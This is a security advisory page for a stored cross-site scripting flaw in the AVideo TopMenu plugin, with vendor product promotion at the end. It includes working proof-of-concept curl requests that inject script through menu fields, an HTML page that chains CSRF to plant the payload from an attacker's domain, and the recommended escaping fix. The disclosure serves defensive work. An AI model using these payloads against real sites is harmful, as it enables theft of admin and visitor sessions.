GHSA-gmpc-fxg2-vcmq — wwbn/avideo
MEDIUMGHSA-gmpc-fxg2-vcmq is a medium-severity (CVSS 6.1) Cross-site Scripting (XSS) vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.
AVideo has Stored XSS via Unescaped Menu Item Fields in TopMenu Plugin
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-gmpc-fxg2-vcmq.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-gmpc-fxg2-vcmq plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The TopMenu plugin renders menu item fields (icon classes, URLs, and text labels) directly into HTML without applying htmlspecialchars() or any other output encoding. Since menu items are rendered on every public page through plugin hooks, a single malicious menu entry results in stored cross-site scripting that executes for every visitor to the site. An admin user who is tricked into saving a crafted menu item (or an attacker who gains admin access) can compromise all site visitors.
Details
Multiple output locations in the TopMenu plugin render user-controlled data without escaping:
In HTMLMenuRight.php:24, the icon class is injected directly:
<i class="<?php echo $value2['icon'] ?>"></i>
In HTMLMenuRight.php:40, the URL is rendered without encoding:
<a href="<?php echo $value2['finalURL']; ?>">
In HTMLMenuLeft.php:32, same pattern for the left menu:
<a href="<?php echo $value2['finalURL']; ?>">
In index.php:49, the menu item text is echoed raw:
<?php echo $menuItem->getText(); ?>
Menu item data is saved via menuItemSave.json.php with no sanitization in the setter methods. The stored values are loaded from the database and rendered on every page because the TopMenu plugin hooks into the global page layout.
Critically, menuItemSave.json.php has no CSRF protection. It checks User::isAdmin() but does not call isGlobalTokenValid() or perform any other CSRF token validation. This means the stored XSS can be chained with CSRF: an attacker does not need a compromised admin account. Instead, a cross-origin POST from an attacker-controlled page can create the malicious menu item if an admin visits the attacker's page while logged in.
Proof of Concept
- As an admin user, save a menu item with a malicious icon class:
curl -b "PHPSESSID=ADMIN_SESSION" \
-X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
-d 'icon=fa-home" onmouseover="alert(document.cookie)&text=Home&url=/&status=a'
- Alternatively, inject via the URL field to create a JavaScript link:
curl -b "PHPSESSID=ADMIN_SESSION" \
-X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
-d 'icon=fa-link&text=Click+Me&url=javascript:alert(document.cookie)&status=a'
- Alternatively, inject via the text field:
curl -b "PHPSESSID=ADMIN_SESSION" \
-X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
-d 'icon=fa-home&text=<script>alert(document.cookie)</script>&url=/&status=a'
- Alternatively, chain with CSRF (no admin account needed). Host this HTML on an attacker-controlled domain and lure an admin to visit it:
<!DOCTYPE html>
<html>
<head><title>AVI-041 CSRF + Stored XSS PoC</title></head>
<body>
<h1>Loading...</h1>
<iframe name="f1" style="display:none"></iframe>
<form id="inject" method="POST" target="f1"
action="https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php">
<input type="hidden" name="menuId" value="1" />
<input type="hidden" name="item_order" value="99" />
<input type="hidden" name="item_status" value="a" />
<input type="hidden" name="text" value="<script>alert(document.cookie)</script>" />
<input type="hidden" name="title" value="Home" />
<input type="hidden" name="url" value="/" />
<input type="hidden" name="icon" value="fa-home" />
<input type="hidden" name="menuSeoUrlItem" value="" />
</form>
<script>document.getElementById('inject').submit();</script>
</body>
</html>
The cross-origin POST creates the malicious menu item because menuItemSave.json.php has no CSRF token validation.
- Visit any page on the AVideo instance:
curl "https://your-avideo-instance.com/"
- The injected JavaScript executes in the context of every visitor's browser session because the menu is rendered on all pages.
Impact
Stored cross-site scripting on every page of the AVideo instance. An attacker can steal session cookies, redirect users to phishing pages, modify page content, or perform actions on behalf of authenticated users (including admins). Because the menu renders globally, a single injection point compromises all visitors to the site.
Recommended Fix
Apply htmlspecialchars() with ENT_QUOTES to all outputs of $value2['finalURL'], $value2['icon'], and $menuItem->getText() in the TopMenu plugin templates:
// HTMLMenuRight.php:24
<i class="<?php echo htmlspecialchars($value2['icon'], ENT_QUOTES, 'UTF-8'); ?>"></i>
// HTMLMenuRight.php:40
<a href="<?php echo htmlspecialchars($value2['finalURL'], ENT_QUOTES, 'UTF-8'); ?>">
// HTMLMenuLeft.php:32
<a href="<?php echo htmlspecialchars($value2['finalURL'], ENT_QUOTES, 'UTF-8'); ?>">
// floatMenu.php - same pattern for any $value2['icon'] and $value2['finalURL'] outputs
// index.php:49
<?php echo htmlspecialchars($menuItem->getText(), ENT_QUOTES, 'UTF-8'); ?>
Apply the same encoding to every location in HTMLMenuRight.php, HTMLMenuLeft.php, floatMenu.php, and index.php where these values are echoed into HTML.
Found by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-gmpc-fxg2-vcmq yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-gmpc-fxg2-vcmq can be triaged on real exposure rather than presence alone.
Tailored to GHSA-gmpc-fxg2-vcmq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gmpc-fxg2-vcmq in your dependencies?
O3 Security finds GHSA-gmpc-fxg2-vcmq across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.